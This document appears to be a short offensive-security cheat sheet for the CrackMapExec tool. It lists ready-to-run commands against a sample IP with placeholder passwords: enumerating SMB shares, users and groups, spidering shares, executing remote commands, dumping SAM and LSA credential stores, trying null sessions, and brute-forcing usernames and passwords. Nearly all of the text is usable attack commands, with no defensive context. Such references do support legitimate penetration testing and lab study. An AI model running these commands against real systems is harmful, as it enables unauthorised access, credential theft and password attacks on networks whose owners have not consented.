CrackMapExec

Protocols

{smb,ftp,ssh,rdp,ldap,mssql,winrm}
    smb                 own stuff using SMB
    ftp                 own stuff using FTP
    ssh                 own stuff using SSH
    rdp                 own stuff using RDP
    ldap                own stuff using LDAP
    mssql               own stuff using MSSQL
    winrm               own stuff using WINRM

Usage

Get Informations

cme smb 10.10.10.10

List Shares

cme smb 10.10.10.10 -u 'qu35t' -p 'Passw0rd!' --shares

Dump Shares

cme smb 10.10.10.10 -u 'qu35t' -p 'Passw0rd!' --shares -M spider_plus

Password Policy

cme smb 10.10.10.10 --pass-pol

Users

cme smb 10.10.10.10 -u qu35t -p 'Password1!' --users

Groups

cme smb 10.10.10.10 -u qu35t -p 'Password1!' --groups

Logged On Users

cme smb 10.10.10.10 -u qu35t -p 'Password1!' --loggedon-users

Command execution

cme smb 10.10.10.10 -u Administrator -p 'Password1!' -x whoami

Dump SAM

cme smb 10.10.10.10 -u Administrator -p 'Password1!' --sam

Dump LSA

cme smb 10.10.10.10 -u Administrator -p 'Password1!' --lsa

Authentication

Null Authentication

cme smb 10.10.10.10 -u '' -p ''

Bruteforce Users

cme smb 10.10.10.10 -u users.txt -p 'Passw0rd!' --continue-on-success

Bruteforce Passwords

cme smb 10.10.10.10 -u 'qu35t' -p passwords.txt --continue-on-success